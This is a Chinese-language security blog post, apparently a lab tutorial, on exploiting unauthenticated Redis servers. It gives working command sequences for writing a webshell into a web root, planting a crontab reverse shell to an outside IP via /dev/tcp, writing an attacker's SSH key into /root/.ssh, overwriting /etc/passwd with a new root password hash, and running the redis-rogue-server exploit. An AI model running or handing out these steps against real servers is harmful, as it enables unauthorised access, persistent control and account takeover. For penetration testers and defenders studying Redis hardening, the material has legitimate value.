首页 综合资源 WEB安全 正文

Redis常见利用方法

WEB安全
2022-05-05 0 2,592

Redis常见利用方法

Redis常见利用方法

Redis简介与学习

Redis常见端口

  • 6379

Redis是现在最受欢迎的NoSQL数据库之一，Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库，其具备如下特性：

  • 基于内存运行，性能高效
  • 支持分布式，理论上可以无限扩展
  • key-value存储系统
  • 开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API

Redis数据结构
Redis常见利用方法

Redis为什么快

  1. 完全基于内存操作
  2. C语言实现，优化过的数据结构，性能高
  3. 单线程，无切换上下文的成本
  4. 异步非阻塞IO(多路复用IO)

Redis在Linux和Windows下有区别吗

从多路复用IO来看

在Redis中很多地方调用Linux的epoll方法来实现多路复用，而在Windows系统是没有epoll方法的，Windows下对应的是IOCP模型，

从Redis如何进行持久化来看

  1. RDB 快照，内存数据的二进制序列化文件
  2. AOF 日志，修改内存数据的指令记录文本

RDB持久化的手动备份命令是bgsave，AOF文件过大的重写命令是bgrewriteaof。

原理都是开辟一个子进程对内存进行处理（注意了是子进程，不是子线程），这就涉及到操作系统的机制了。

Redis通过Linux系统的fork函数创建子进程，共享内存里面的代码段和数据段，从而实现了持久化。

然而Windows系统是没有fork函数的。

环境搭建

Docker

这里使用docker快速启动Redis

1
docker search redis

Redis常见利用方法

1
docker pull redis

Redis常见利用方法

启动容器

1
docker run -itd run -p 6379:6379 -d redis

Redis常见利用方法

手动安装

1
2
3
4
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar -zxvf redis-3.2.11.tar.gz
vim redis.conf
make

protected-mode的yes修改为No
Redis常见利用方法

注释 bind 127.0.0.1
Redis常见利用方法

1
cp ./redis-server /usr/local/bin/

Redis常见利用方法

采坑

Redis常见利用方法

如果遇到这个，就用make编译，首先卸载原来的apt安装的版本

1
apt remove redis-server

然后make编译就可以了

Redis-cli下载

Windows

1
https://github.com/microsoftarchive/redis/releases

Linux

1
2
3
4
5
wget http://download.redis.io/redis-stable.tar.gz
tar -xzvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/local/bin/

MacOs

1
2
brew tap ringohub/redis-cli
brew install redis-cli

Redis常见漏洞与利用方法

1、未授权利用

Redis 默认情况下，会绑定 .0.0.0.0:6379 ，如果没有才有相关的策略，比如添加防火墙规则避免其他非信任来源 限制ip访问等，那么就会将 Redis 服务暴露到公网上。如果没有设置密码认证的话(一般为空)，会导致任意用户在可以访问目标服务器的情况下，未授权访问 Redis 以及 读取 Redis 的数据。

1
在未授权的情况下，可以利用 Redis 自身提供的 config 命令进行写入shell、写SSH公钥、创建计划任务反弹shell 等。其思路都是先将 Redis 的本地数据库存放目录设置为 特定的目录，然后将 dbfilename (本地数据库文件名) 设置为你想写入的文件名称，最后在执行 save 或 bgsave 保存，那么就看在制定的目录下写入指定的文件了。
1
2
3
redis-cli -h ip //无需密码登录
redis-cli -h host -p port -a password   //使用redis密码登入redis服务
info

Redis常见利用方法

首先先来看一下info中有哪些信息
Redis常见利用方法

Redis常见利用方法

1、写WebShell

原理

在数据库中插入一条Webshell数据，将此Webshell的代码作为value，key值随意（x），然后通过修改数据库的默认路径为/www/wwwroot/html和默认的缓冲文件shell.php，把缓冲的数据保存在文件里，这样就可以在服务器端的/www/wwwroot/html下生成一个Webshell

条件

1、redis和网站要在同一台服务器下

2、知道网站根目录的绝对路径

2、运行redis服务的用户必须有权限向目录写文件

利用方法

将dir设置为/www/wwwroot/html，将指定本地数据库存放目录设置为/www/wwwroot/html；将dbfilename设置为文件名shell.php，即指定本地数据库文件名为shell.php；再执行save或bgsave，则我们就可以写入一个路径为/www/wwwroot/html/shell.php的Webshell文件

首先我们在服务器的根目录中创建一个/www/root的文件夹并用python启动一个临时的HTTP服务
Redis常见利用方法

Redis常见利用方法

获取当前路径

1
Config get dir

Redis常见利用方法

设置/www/root为指定目录

1
Config set dir

Redis常见利用方法

写入文件

1
Set abc "nn<?php phpinfo();?>" //写入，这里还有一种写法：set abc”nn<xxx>”nx，末尾的nx代表仅当键abc不存在的时候，才会创建。这样可以防止误更新到业务在用的键名，引发业务的异常。

Redis常见利用方法

设置写文件

1
Config set dbfilename test.php

Redis常见利用方法

随后尝试访问
Redis常见利用方法

这里是肯定不会解析的，因为只是一个HTTP服务，可以看到目录下也有test.php，成功写入
Redis常见利用方法

ps: 来自Tatsumaki大佬的博客

2、写Crontab

条件

  • 访问目标服务器的redis不需要密码
  • redis对/var/spool/cron有写入权限

Ubuntu

1
2
3
4
Config set dir /var/spool/cron
set abcd "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.13/1234 0>&1nn"
Config set filename root
Save

Redis常见利用方法

Redis常见利用方法

在Ubuntu中尝试之后，发现并没有反弹shell回来，不知道为什么，查询了文章看到有大佬说

1
2
3
这个方法只能在Centos上使用，Ubuntu上是行不通的，原因如下:
因为默认redis写文件后是644的权限，但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw———-才会执行，否则会报错(root) INSECURE MODE (mode 0600 expected)，而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行

所以这里更换Centos尝试，搭建步骤与上文一致，发现centos确实在1分钟左右就返回了shell
Redis常见利用方法

按照上面CentOs和Ubuntu写文件的说法，可以来看一下写入的文件权限大小

Linux权限对应表
Redis常见利用方法

Redis常见利用方法

可以看到CentOs中的是644
Redis常见利用方法

Ubuntu中也是644，那么如果真如那篇文章所说，必须是600才会执行的话，那么确实Ubuntu无法执行（

3、写SSH公钥

条件

  • Redis服务使用root启动
  • 服务器开启了SSH，但是允许密钥登录

这里就用Centos7搭建的redis作为环境

首先配置ssh密钥登录

1
2
3
4
5
6
7
8
9
10
vi /etc/ssh/sshd_config
RSAAuthentication yes # 开启密钥登入的认证方式
PubkeyAuthentication yes # 开启密钥登入的认证方式
PermitRootLogin yes # 此处请留意 root 用户能否通过 SSH 登录，默认为yes
# 可以正常用密钥登录了，再把这里改为no
PasswordAuthentication yes #当我们完成全部设置并以密钥方式登录成功后，可以禁用密码登录。这里我们先不禁用，先允许密码登陆

Redis常见利用方法

然后重启sshd服务

1
systemctl restart sshd

随后尝试连接会提示
Redis常见利用方法

随后在Mac上生成密钥

1
ssh-keygen -t rsa

设置.ssh目录

1
Config set dir /root/.ssh/

写入公钥

1
2
3
4
5
6
(echo -e "nn"; cat /root/.ssh/id_rsa.pub; echo -e "nn") > /root/.ssh/key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.0.148 -x set xxx
# Mac
(echo -e "nn"; cat ./id_rsa.pub; echo -e "nn") > ./key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.0.148 -x set xxx

Redis常见利用方法

随后就可以使用shh直接连接了
Redis常见利用方法

4、重置Linux账户密码

原理

若/etc/passwd和/etc/shadow中同时存在密码，系统会使用/etc/passwd中的密码进行验证 /etc/passwd-是/etc/passwd的备份，成功登录系统后，通过替换/etc/passwd-文件，可以恢复root用户的原密码

Linux存账户密码一般会有/etc/passwd和/etc/shadow，如果两个出现冲突的话，会以/etc/passwd为准。

另外，/etc/passwd的权限一般是644，比/etc/shadow的640要高。而且，redis写入是覆盖的，也就是说，写入进去覆盖之后，其他的都没了，这个过程是有创且不可逆的。

这里用到一个大佬的dockerfile: https://github.com/justonly1/DockerRedis

或者docker直接下载也可以

1
2
3
4
docker pull ju5ton1y/redis:latest
docker run -itd -p 6379:6379 -p 6378:22 ju5ton1y/redis:latest
# 启动之后需要进入容器
/etc/init.d/ssh restart

Redis常见利用方法

Redis常见利用方法

随后生成一串密码为YourNewPasswd%1024的密文

另外这段代码

1
python -c 'import crypt; print crypt.crypt("YourNewPasswd%1024","$6$my0salt0")'

mac下会这样
Redis常见利用方法

在kali下就好了
Redis常见利用方法

然后写入/etc/passwd

1
SET abcd "nn root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bashnsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologinnn"
1
2
config set dbfilename passwd
save

然后就可以使用YourNewPasswd%1024这个密码登录了
Redis常见利用方法

2、主从备份

这里用vulhub的靶场

1
2
3
git clone https://github.com/vulhub/vulhub.git
cd redis/4-unacc/
docker-compose up -d

Redis常见利用方法

Redis常见利用方法

exp用这个https://github.com/n0b0dyCN/redis-rogue-server.git

1
2
3
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
python3 redis-rogue-server.py --rhost 192.168.0.13 --lhost 192.168.0.139
# rhost是redis，lhost是kali

这执行的时候会遇到错误
Redis常见利用方法

Redis常见利用方法

多跑几次就行
Redis常见利用方法

参考

收藏 (0) 打赏

感谢您的支持，我会继续努力的!

打开微信扫一扫，即可进行扫码打赏哦，分享从这里开始，精彩与您同在
点赞 (0)

注：在使用本系统时，使用方必须在国家相关法律法规范围内并经过国家相关部门的授权许可，禁止用于一切非法行为。使用用途仅限于测试、实验、研究为目的，禁止用于一切商业运营，本团队不承担使用者在使用过程中的任何违法行为负责。

83源码 WEB安全 Redis常见利用方法 https://www.83ym.com/104.html

认准唯一TG：@ym830

上一篇： 逆向进阶 利用 AST 技术还原 JavaScript 混淆代码
下一篇： 浅析K8S各种未授权攻击方法
常见问题

VIP会员是否无限次下载资源？

  • 站内所有资源，针对不同等级VIP会员可直接下载，特殊资源商品会注明是否免费，指会员所享有根据选择购买的会员选项所享有的特殊服务，具体以本站公布的服务内容为准。
查看详情

正规的网络棋牌运营商需要具备哪些资质？

  • 按照我国的法律规定，运营网络棋牌首先需要成立一个注册正规备案的公司，然后申请网站备案、文网文、ICP等等，这些证件缺一不可。 一．注册公司 在当地工商进行注册，公司名称以“XX科技有限公司”为名，如：富裕棋牌经营范围填写“计算机软硬件、网络设备的设计开发与购销”。 二．域名及网站备案 在国内从事网站经营活动就必须经过相关部门的备案，因此棋牌运营商在购买了域名后，就要到当地网监局办理网站备案，或者请服务器提供商代为备案。 三．申请文网文 文网文全称为网络文化经营许可证，是从事经营性互联网文化活动所必需的资质。一般是需要到当地省一级（省、直辖市、自治区）的文化行政部门提出申请，并经由当地的文化行政部门合法批准。次资质要求申请公司注册资金必需达到1000万，并提供游戏版权证明文件。 四．申请ICP ICP又称为增值电信业务许可证，所有网络游戏运营商均需要办理ICP许可证，此证件要求公司注册资金1000万，需到当地市级通讯管理局办理。 五．申请文网游——游戏备案 根据《网络游戏管理暂行办法》（文化部第49号）的规定，国产网络游戏在上网运营之日起30日内应当按规定向国务院文化行政部门履行备案手续。 以上就是网络棋牌游戏正规运营所必需的资质证明。一般作为正规有实力的棋牌游戏开发公司，不光要具备所有的正规资质，而且会对投资者、代理商等合作伙伴给予相关指导和协助，与合作伙伴携手共赢！
查看详情

相关文章

猜你喜欢
官方客服团队

为您解决烦忧 - 24小时在线 专业服务

联系官方团队 在线提交工单
反诈公益广告 到期时间：2030/04/30
热门推荐
热门标签
首页 VIP 菜单 客服 我的